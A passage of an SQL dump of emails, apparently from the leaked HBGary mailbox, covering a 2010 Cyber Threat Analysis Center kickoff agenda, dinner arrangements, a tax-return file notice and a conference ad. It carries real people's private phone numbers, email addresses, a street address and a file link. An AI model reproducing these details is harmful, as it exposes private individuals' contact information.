for\r\nCTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp;\r\nIRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.&nbsp; We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.&nbsp; We should have Palantir\r\nand HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3098,'aaron_hbgary_com/3098.html'),(2788,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001282.M528254P3547Q2788.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Yeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1497,'aaron_hbgary_com/1497.html'),(2789,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001282.M743119P3547Q2789.eml','aaron@hbgary.com','Re: Cyber Threat Analysis Center','\r\nYup\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 17 15:58:29 2010Subject: Re: Cyber Threat Analysis Center\r\nYeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3329,'aaron_hbgary_com/3329.html'),(2790,'2010-02-17','\"John Cox via YouSendIt\" <delivery@yousendit.com>','/aaron@hbgary.com/new/1297001282.M950078P3547Q2790.eml','aaron@hbgary.com','2009 Draft HBGary Federal LLC Income Tax Returns','\r\n  \r\n    transactional\r\n    \r\n    \r\n      body,td,th {font-family: Arial, Helvetica, sans-serif; font-size: 11px;}\r\n      .ysiLogo\r\n      {\r\n        margin-top:10px;\r\n        margin-left:30px;\r\n      }\r\n      .fileInfo td\r\n      {\r\n        padding:0px;\r\n        font-size:12px;\r\n      }\r\n     .footerLink\r\n      {\r\n        width:450px;\r\n        margin-top:20px;\r\n        margin-left:50px;\r\n      }\r\n      .footerLink a:link\r\n      {\r\n        color: #4f60bc;\r\n      }\r\n    \r\n  \r\n  \r\n    \r\n    \r\n      \r\n      \r\n        \r\n        youSENDit\r\n      \r\n      Priority Delivery\r\n      \r\n          \r\n    \r\n    \r\n    \r\n    \r\n      \r\n        Please review and get back with me as soon as you can so I can finalize these tax returns.  Thanks.&nbsp;\r\n        \r\n        John Cox has requested authentication to ensure that only you can retrieve this file. To ensure that, you will need to login into your YouSendIt account or create an account to access the file.\r\n        \r\n        \r\n          \r\n          \r\n            Download File         \r\n          \r\n        \r\n        \r\n      \r\n    \r\n     \r\n      .......................................................................................................................................................................................................................\r\n    \r\n    \r\n      \r\n        \r\n        \r\n          Sent by:\r\n         \r\n          johncoxcpa@verizon.net\r\n                \r\n        \r\n          File to pick up:\r\n        \r\n          Draft 2009 HBGary Federal LLC In\r\n                \r\n        \r\n          File will remain active for:\r\n         \r\n          14 days\r\n                \r\n        \r\n          &nbsp;\r\n        \r\n        \r\n          Link to file:\r\n          &nbsp;\r\n        \r\n         \r\n          https://rcpt.yousendit.com/821555752/335ac6a2773704f294d16d54f306a32b&rcpt=aaron@hbgary.com\r\n           \r\n         \r\n        \r\n          \r\n        \r\n        \r\n          About Authentication: You must log into your YouSendIt account or create an account to access the file.\r\n        \r\n        \r\n          John L. Cox, CPA\r\n12107 Faith Lane\r\nBowie, Maryland 20715\r\n(240) 949-6022 Voice \r\n(301) 542-0040 Fax\r\n \r\nThis message contains information that may be confidential and privileged. Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, print or disclose to anyone the message or any information contained in the message. If you have received this e-mail in error, please advise the sender by reply and delete the message. Thank you.\r\n        \r\n        \r\n          &nbsp;\r\n        \r\n        \r\n      \r\n    \r\n    \r\n    \r\n    \r\n      \r\n      \r\n         YouSendIt Inc. | Terms of Service | Privacy Policy  | DMCA Policy  | Opt Out1919 S. Bascom Avenue, 3rd Floor Campbell, CA 95008\r\n      \r\n      \r\n    \r\n    \r\n  \r\n\r\n\r\n',14914,'aaron_hbgary_com/14914.html');
INSERT INTO `emails` VALUES (2791,'2010-02-17','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001283.M156404P3547Q2791.eml','aaron@hbgary.com','Last chance to register for AFCEA\'s Homeland Security Conference','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		          \r\n\r\n	\r\n		\r\n			\r\n			\r\n              \r\n                AFCEA\'s 9th Annual Homeland Security Conference\r\n                    \"DHS - The 7-Year Itch - Renewing the \r\nCommitment\" \r\n    February 24-25, 2010 \r\n    Ronald Reagan International Trade Center\r\n    Washington, D.C. \r\n                Register Online!\r\n                  www.afcea.org/events/homeland\r\n                The AFCEA Homeland Security Conference is THE venue will you will hear first-hand about the critical issues facing our country in the fight against terrorism. The conference offers an opportunity for you to engage in the dialogue on critical issues with key government and industry executives.&nbsp; CIO\'s, Procurement Officials, and Senior Program Managers will be discussing their priorities.\r\n                &nbsp;\r\n                Outstanding Keynote Speaker Line-up&nbsp;includes:\r\n                \r\n                  \r\n                    Chief Cathy Lanier, Chief of Police, District of Columbia &nbsp;\r\n                    Congresswoman Loretta Sanchez (D-CA), Subcommittee Chairwoman for the Committee on Homeland Security- Border, Maritime and Global Terrorism &nbsp; \r\n                    \r\n                      Mr. Ralph Basham, former Commissioner, U.S. Customs and Border Protection \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  Panel Sessions - Dialogue with the Experts!: \r\n                  \r\n                    \r\n                    Cyber Security\r\n                      \r\n                      \r\n                        Moderator: Mr. Greg Schaffer, Assistant Secretary, Office of Cyber Security and Communications, DHS\r\n                        Mr. Van Hitch, CIO, Department of Justice and Cyber-Security Committee Chair, Federal CIO Council Administration Representative\r\n                        Mr. Dave Wennergren, Deputy Chief Information Officer, Department of Defense \r\n                      \r\n                    \r\n                  \r\n                \r\n                \r\n                  \r\n                    Emerging Social Media &amp; Transparency Gap\r\n                      \r\n                        Moderator: Mr. Tony Vanchieri, Executive Vice President, Summit Marketing, former Director of Technology Integration, DHS/TSA\r\n                        COL Kevin V. Arata, USA, Director, Army Online &amp; Social Media Division \r\n                        CAPT John Kirby, USN, Public Affairs Officer, Joint Chiefs of Staff\r\n                        SSG Josh Salmons, USA, Emerging Media Coordinator, Defense Information School\r\n                        Mr. Michael Walsh, Project Director, Forum One Communications \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    Coordinating Border Security Programs: Government Perspective\r\n                      \r\n                        Moderator: Mr. Paul Druckman, Director, DHS Business Development, Accenture\r\n                        Mr. Chris Chilbert, Deputy Chief Architect, DHS\r\n                        Mr. Greg Giddens, Executive Director, Facilities Management and Engineering, Customs and Border Protection, DHS \r\n                        Mr. Art Macius, Chief of Staff, Transportation Security Administration\r\n                        Mr. Steve Yonkers, Deputy Assistant Director, Business Policy &amp; Planning, Program Integration &amp; Mission Training, US-VISIT - DHS \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  \r\n                    Coordinating Border Security Programs: Industry Perspective\r\n                      \r\n                        Moderator: Mr. Paul Druckman, Director, DHS Business Development, Accenture                            \r\n                        Ms. Gena Alexa, Partner, Customs &amp; Border Protection, Unisys (WHTI) \r\n                        Mr. Tom Greiner, Program Manager, US-VISIT, Accenture\r\n                        Mr. Chris Healy, Principal, Booz Allen Hamilton (Secure Communities)\r\n                        Mr. Michael Parker, Senior Business Unit Strategist, Homeland Protection &amp; Prepardness Unit, SAIC (Biological/Chemical Defense)\r\n                      \r\n                    \r\n                  \r\n                  \r\n                    Federal Executive Forum (on-air live broadcast!)\r\n                      \r\n                        Moderator: Mr. Jim Flyzik, President,&nbsp;The Flyzik Group, Chairman, AFCEA Homeland Security Committee\r\n                        Mr. Richard Spires, CIO, DHS\r\n                      \r\n                    \r\n                    \r\n                        Mr. Charles Armstrong, CIO, Customs and Border Protection, DHS \r\n                        Mr. Luke McCormack, CIO, ICE/DHS\r\n                        Ms. Sandy Peavy, CIO, FLETC/DHS\r\n                    \r\n\r\n                  \r\n                    President\'s Comprehensive National Security Initiative \r\n                      \r\n                        Moderator: Mr. Chris Dorobek, Co-anchor, The Daily Debrief with Chris Dorobek and Amy Morris, Federal News Radio 1500 AM \r\n                        Mr. Shawn Carroll, Executive Director of Engineering &amp; CTO, QWEST Government Services \r\n                        Mr. John Nagengast, Executive Director for Strategic Initiatives, AT&amp;T\r\n                        Mr. Marcus Sachs, Executive Director for National Security &amp; Cyber Policy, Verizon\r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  \r\n                    Immigration Reform\r\n                      \r\n                        Moderator: Mr. Luke McCormack, CIO, ICE/DHS\r\n                        Mr. Kirit Amin, CIO, Bureau of Consular Affairs, Office of Consular Systems and Technology, U.S. Department of State \r\n                        Mr. Charlie Armstrong, CIO, Customs &amp; Border Protection, DHS \r\n                        Mr. Chase Garwood, CIO, National Protection &amp; Programs Directorate, DHS \r\n                        Ms. Leslie Hope, Deputy CIO, Citizen and Immigration Services, DHS \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                    Information/Intelligence Sharing - Balancing Privacy\r\n                      \r\n                        Moderator: Ms. Mary Dixon, Director, Manpower Data Center, OSD\r\n                        Mr. Troy Holmes, Director of Law Enforcement Systems and Law Enforcement Sharing, ICE/DHS\r\n                        Mr. Alexander Joel, Chief Civil Liberties Protection Officer, Office of the Director of National Intelligence\r\n                        Mr. Tim Quinn, Chief, Enterprise Infrastructure Division - OCIO, Department of the Interior \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  \r\n                    Procurement Executives Roundtable&nbsp;&nbsp;&nbsp;&nbsp;\r\n                      \r\n                        Moderator:&nbsp;Mr. Greg Rothwell, President, Evermay Consulting\r\n                        Mr. Kevin Boshears, Director, Office of Small Business and Disadvantaged Business Utilization, DHS \r\n                        Ms. Soraya Correa, Director, Office of Procurement Operations, DHS\r\n                        Mr. Rick Gunderson, Chief of Procurement, DHS\r\n                        Ms. Tiffany Hixson, Executive Director, Enterprise Contracting Office, Procurement Directorate, U.S. Customs and Border Protection, DHS \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  Innovative, informal discussions on the exhibit floor - new initiative this year! \r\n                  \r\n                    National Information Exchange Model (NIEM)                      \r\n                      \r\n                        Mr. Anthony Hoang, Acting Director, Emergency Data Management Office and Managing Director, NIEM, DHS \r\n                        Mr. Kshmendra Paul, Office of Management and Budget \r\n                        Mr. John Teeter, Deputy Chief Information Officer, Department of Health and Human Services\r\n                        \r\n                      \r\n                    \r\n                    Homeland Security Challenges--Technology Focus Briefs \r\n                      \r\n                        &quot;Making IT Managed Services Succeed&quot;,  Mr. Paul Bandler, Vice President, Financial Bidding Strategy, BAE Systems \r\n                        &quot;Mission Support Optimization&quot;, Ms. Stacey Selenfriend, Associate, Booz Allen Hamilton \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n\r\n                For more information on the conference and to register &ndash; please visit www.afcea.org/events/homeland\r\n                &nbsp;\r\n                For sponsorship opportunities contact Maureen Cirrito. \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  AFCEA STRATEGIC PARTNERS\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  &nbsp;\r\n                  \r\n                  &nbsp;\r\n                \r\n                            \r\n              \r\n                \r\n                  &nbsp;\r\n                \r\n                \r\n                  PLATINUM PATRONS\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                            \r\n              \r\n                \r\n                  &nbsp;\r\n                \r\n                \r\n                  GOLD PATRONS\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                            \r\n              \r\n                \r\n                  SILVER PATRONS\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                            \r\n              \r\n                \r\n                  \r\n                  \r\n                  \r\n                \r\n                            \r\n              \r\n                \r\n                  &nbsp;\r\n                \r\n                \r\n                  SMALL BUSINESS PATRONS\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  SPONSORS\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n              \r\n              			\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n		\r\n	\r\n		\r\n		  &nbsp;\r\n	  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5111,'aaron_hbgary_com/5111.html'),(2792,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001283.M368287P3547Q2792.eml','aaron@hbgary.com','Fw: Cyber Threat Analysis Center','\r\nCall my cell when you land.\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)To: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;Sent: Wed Feb 17 16:04:22 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nYup\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 17 15:58:29 2010Subject: Re: Cyber Threat Analysis Center\r\nYeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome 